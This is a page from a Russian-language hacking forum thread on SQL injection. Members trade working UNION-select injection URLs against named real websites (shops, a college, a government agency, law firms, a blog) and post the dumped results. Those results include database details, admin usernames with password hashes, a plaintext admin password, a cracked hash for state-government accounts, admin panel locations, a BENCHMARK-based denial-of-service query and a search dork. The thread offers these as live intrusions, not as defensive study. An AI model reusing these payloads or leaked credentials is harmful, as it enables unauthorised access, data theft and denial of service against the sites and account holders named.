SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 241 of 798
  1. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Гг php include через sql инъекцию :) Я и покруче видел, у меня в эксплоите для jportal исполнение кода через mysql inj
     
    #4801 Macro, 16 Feb 2008
    1 person likes this.
  2. CaNNabi$

    CaNNabi$ Elder - Старейшина

    Joined:
    21 Jan 2008
    Messages:
    62
    Likes Received:
    110
    Reputations:
    0
    www.rus-waphost.ru
    Хостер ппц) 4 админа там и они все тупые :D
    Code:
    http://rus-waphost.ru/news/komm.php?ides=1'%20union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5/*
    5.0.45:admin_news@localhost:admin_new
     
    #4802 CaNNabi$, 16 Feb 2008
  3. nex0

    nex0 Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    52
    Likes Received:
    83
    Reputations:
    6
    uabest.net
    Code:
    http://uabest.net/mobile/download.php?jgid=-47+union+select+1,2,3,4,5,6,7,8,9/*
    version() 5.0.37-log
    user() uabest_best@localhost
    database() uabest_uabest

    maxpaintball.ru
    Code:
    http://www.maxpaintball.ru/show_cat2.php?grid=-2+union+select+concat(version(),0x3a,user(),0x3a,database())
    version() 4.0.27-max-log
    user() [email protected]
    database() maxpain3_shop
    Code:
    http://www.maxpaintball.ru/show_cat2.php?grid=-2+union+select+concat(username,0x3a,email,0x3a,passwd)+from+user+where+username+like+1013
    1013:[email protected]:697423ce62550904

    hwdecor.ru
    Code:
    http://hwdecor.ru/show_cat2.php?grid=-5+union+select+concat(version(),0x3a,user(),0x3a,database())/*
    version() 4.0.27-max-log
    user() [email protected]
    database() effa112_shop

    christcollege.edu
    Code:
    http://www.christcollege.edu/progdetails.php?prid=-51+union+select+1,2,3,4/*
    version() 4.1.20
    user() christco_christ@localhost
    database() christco_christcollege

    pseb.org.pk
    Code:
    http://www.pseb.org.pk/page.php?prid=-39+union+select+1,2,3,4
    version() 5.0.45-community-log
    user() pseborg_newpseb
    database() pseborg_pseb@localhost
    Code:
    http://www.pseb.org.pk/page.php?prid=-39+union+select+1,2,table_name,4+from+information_schema.tables
    вывод данных идёт в цикле, поэтому лимитом не нужно пользоваться)

    wildplanet.com
    Code:
    http://www.wildplanet.com/press/wp_release_single.php?prid=-56+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8
    version() 5.0.24
    user() outsideuser@localhost
    database() NewSite
    Code:
    http://www.wildplanet.com/press/wp_release_single.php?prid=-56+union+select+1,concat(id,0x3a,username,0x3a,password),3,4,5,6,7,8+from+WPUser+limit+0,1
    Code:
    1:mseltzer:B%BB0%27VG%89%F6sw%97%FF%88%19%0CI
2:digibrew:UP%E5%CDlOQ%BEUP%E5%CDlOQ%BE
3:wildplanet:%EF%EF%A7%D45%5B%3B%DEb%1F2%AFM%9C%B0%BC
4:mthomas:ty%19zv%E5Z-WR%1F%CC%D6%03%F9%98
5:tboeger:.%FE%99%B5%08%15%B1y%E1%BF%9F%06%05%9Ba%C3
9:martin:%2A%FA%AB%2FWen%1F%24%F6%D2%C1%28%3ASh
    так я и не понял, чем зашифрованы пассы=/
    http://wildplanet.com/admin - админка


    gamingtrend.com
    Code:
    http://www.gamingtrend.com/PressReleases/index.php?PRID=-99999+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7
    version() 5.0.45-community
    user() knight_tigg3rpig@localhost
    database() knight_consolegold
    Code:
    http://www.gamingtrend.com/PressReleases/index.php?PRID=-99999+union+select+1,2,concat(username,0x3a,password),4,5,6,7+from+Users
    Code:
    DarkEl:32i692acrncR.
AgtFox:DELETED
Knightshade:32CcfdIVkoDRw
PJ_phildo:DELETED
     
    #4803 nex0, 16 Feb 2008
    4 people like this.
  4. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Скорее всего, это пресловутый md5 в виде бинарной строки...
    Сначала надо сделать urldecode(), а затем,
    чтобы привести в привычный вид, надо сделать bin2hex()
     
    #4804 Macro, 16 Feb 2008
    Last edited: 16 Feb 2008
    1 person likes this.
  5. -=Static=-

    -=Static=- Banned

    Joined:
    12 Nov 2006
    Messages:
    201
    Likes Received:
    40
    Reputations:
    0
    http://www.barefeetshoes.com/cls/index.php?method=showdetails&list=advertisement&rollid=-3386'+union+select+1,2,3,USER(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,DATABASE()%20from%20classifieds_advertisement%20where%20id='3386'/*

    VERSION(): 5.0.45-community-log
    USER(): barefeet_office1@localhost
    DATABASE(): barefeet_clss2

    пример запроса для DoS:

    http://www.barefeetshoes.com/cls/index.php?method=showdetails&list=advertisement&rollid=-3386'+union+select+1,2,3,BENCHMARK(10000000,BENCHMARK(10000000,md5(current_date))),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,title%20from%20classifieds_advertisement%20where%20id='3386'/*
     
    #4805 -=Static=-, 16 Feb 2008
    1 person likes this.
  6. CaNNabi$

    CaNNabi$ Elder - Старейшина

    Joined:
    21 Jan 2008
    Messages:
    62
    Likes Received:
    110
    Reputations:
    0
    Che-guevara/Эрнесто Че Гевара ;)
    Code:
    http://www.che-guevara.ru/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,version(),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
    4.1.22-standard/forexmol_cheguv@localhost/forexmol_cheguv


    www.aqualang.ru
    Code:
    http://www.aqualang.ru/index.php?cat_id=1'%20union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12/*
    5.0.45-communitylog:mh3spea_vallwww@localhost:mh3spea_aqualang

    Code:
    http://www.elblogdegloria.com/verblog.php?ID=0x3127%20union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6/*
    4.1.22-standard-log:gloria_admin@localhost:gloria_gloria


    Просто так)
    Code:
    http://www.ria-alliance.com.ua/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,version(),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://www.altsport.metroland.ru/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,version(),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://www.gynku.ru/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,version(),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://www.extremal.am/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,version(),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
http://atyraunews.com/index.php?p=gallerypic&img_id=-84+union+select+1,2,3,version(),5,6,7,8,9/*&galid=3&area=1&ascdesc=desc
     
    #4806 CaNNabi$, 17 Feb 2008
    1 person likes this.
  7. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    http://www.dotfiles.com/index.php?cat_id=-6+union+select+concat_ws(0x3a,user,password)+from+mysql.user/*


    root:259010f859aea03d

    Не бейте пожалуйста,люди,если уже было...просто очень хочу спать....
     
    #4807 Велемир, 17 Feb 2008
  8. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    http://www.bis7.ru/- Сумки мать их...


    http://www.bis7.ru/index.php?prid=-10+union+select+1,concat_ws(0x3a,name,passwd)+from+users/*

    administrator:afina

    P.S: А вот где админка хз ггггг)))
     
    #4808 Велемир, 17 Feb 2008
  9. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25
    http://www.williamsontea.com/Pressrelease/index.php?prid=-22+union+select+1,2,,4,5,6+from+customer/*

    Ели еле подобрал таблицу, до полей руки не доходят...спать....хррр хррр...
     
    #4809 Велемир, 17 Feb 2008
    1 person likes this.
  10. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    174
    Likes Received:
    288
    Reputations:
    20
    /v_2/
     
    #4810 Maxyks, 17 Feb 2008
  11. Fuckel

    Fuckel Banned

    Joined:
    16 Jan 2008
    Messages:
    274
    Likes Received:
    59
    Reputations:
    6
    ссылка на прайс-лист: http://www.bis7.ru/v_2/database/file.php?table=price&field=price_file&id=1
    можно отредкатировать запрос так что бы выдовал логин и пасс в названии файла скачивания.
    доступна дериктория: http://www.bis7.ru/v_2/database/
     
    #4811 Fuckel, 17 Feb 2008
    Last edited: 17 Feb 2008
  12. Велемир

    Велемир Banned

    Joined:
    19 Jun 2006
    Messages:
    1,123
    Likes Received:
    96
    Reputations:
    -25

    А разве бенчмарк пашет на версиях выше третьей ?
     
    #4812 Велемир, 17 Feb 2008
  13. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    Прошу прощения,провтыкал.
     
    #4813 ThreeD, 17 Feb 2008
    Last edited: 17 Feb 2008
    3 people like this.
  14. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    174
    Likes Received:
    288
    Reputations:
    20
     
    #4814 Maxyks, 17 Feb 2008
    3 people like this.
  15. Cr@zy_King

    Cr@zy_King Member

    Joined:
    12 Sep 2007
    Messages:
    8
    Likes Received:
    8
    Reputations:
    -5
    http://dolliedoll.nl/?page_id=6&album=antichat&photo=-333333%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from%2F%2A%2A%2Fwp_users/**WHERE%20admin%201=%201

    |admin|32ea785b98717e08d73289eee9c6348c|

    :D
     
    #4815 Cr@zy_King, 17 Feb 2008
    Last edited: 17 Feb 2008
    2 people like this.
  16. CaNNabi$

    CaNNabi$ Elder - Старейшина

    Joined:
    21 Jan 2008
    Messages:
    62
    Likes Received:
    110
    Reputations:
    0
    Code:
    http://www.globalwaterfoundation.org/news.php?id=0x3127%20union+select+1,2,concat_ws(0x2F,version(),database(),user())/*
    5.0.37-community-log/globalwaterfoundation_org_-_1/[email protected]

    Code:
    http://www.nejdanov.ru/article.php?id=0x3127%20union+select+1,concat_ws(0x2F,version(),database(),user()),3,4,5,6/*
[COLOR=Red]
    5.0.45[/COLOR]-community-log/capinfor_news1/capinfor_adm@localhost

    Code:
    http://www.nishmat.net/article.php?id=0x3127%20union+select+1,2,3,concat_ws(0x2F,version(),database(),user()),5,6,7,8,9,10,11/*
    4.1.20-log/nishmat_nishmat/[email protected]

    Code:
    http://www.flagman.kiev.ua/pub/view.php?pid=0x3127%20union+select+1,2,3,4,concat_ws(0x2F,version(),database(),user()),6,7,8,9,10/*
    4.1.22/flagman/u_flagman@localhost
     
    #4816 CaNNabi$, 17 Feb 2008
    4 people like this.
  17. kair

    kair Elder - Старейшина

    Joined:
    12 Oct 2006
    Messages:
    146
    Likes Received:
    83
    Reputations:
    -4
    secure.in.gov
    lwilliams:c39c09989de954e6824ecacb10590e3e
    mbranson:c39c09989de954e6824ecacb10590e3e
    dwilson:c39c09989de954e6824ecacb10590e3e
    tprince:c39c09989de954e6824ecacb10590e3e
    randerson:c39c09989de954e6824ecacb10590e3e
    clawver:c39c09989de954e6824ecacb10590e3e
    tjones:c39c09989de954e6824ecacb10590e3e
    gswallow:c39c09989de954e6824ecacb10590e3e
    aalbsmeyer:c39c09989de954e6824ecacb10590e3e

    nick:charper
    c39c09989de954e6824ecacb10590e3e: egov
    АДМИНКА
    https://secure.in.gov/phplive/index.php?winapp=0&e=2

    c11.chatsupportlive.com
     
    #4817 kair, 17 Feb 2008
    Last edited: 20 Feb 2008
    3 people like this.
  18. Cr@zy_King

    Cr@zy_King Member

    Joined:
    12 Sep 2007
    Messages:
    8
    Likes Received:
    8
    Reputations:
    -5
    google dork : Powered by PHP Live! v3.2.1 Possible ?

    Good :)
     
    #4818 Cr@zy_King, 17 Feb 2008
    Last edited: 17 Feb 2008
  19. Sleep

    Sleep Elder - Старейшина

    Joined:
    31 Oct 2007
    Messages:
    274
    Likes Received:
    65
    Reputations:
    4
    http://www.kvn.com/attorneys_bio.php?id=-1%2527+union+select+1,table_name,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0+from+information_schema.tables--

    http://www.lawssd.com/attorneys_bio.php?id=-12%2527+union+select+1,2,3,TABLE_NAME,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4+from+information_schema.tables--

    http://www.somachlaw.com/attorneys_bio.php?id=-13%2527+union+select+1,2,3,TABLE_NAME,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4+from+information_schema.tables--
    Кто нить знает как движок назывыается ?
     
    #4819 Sleep, 18 Feb 2008
  20. a1ex

    a1ex Banned

    Joined:
    11 Oct 2006
    Messages:
    517
    Likes Received:
    130
    Reputations:
    -13
    Похош на самаписный имхо...
     
    #4820 a1ex, 18 Feb 2008
(You must log in or sign up to post here.)
Page 241 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.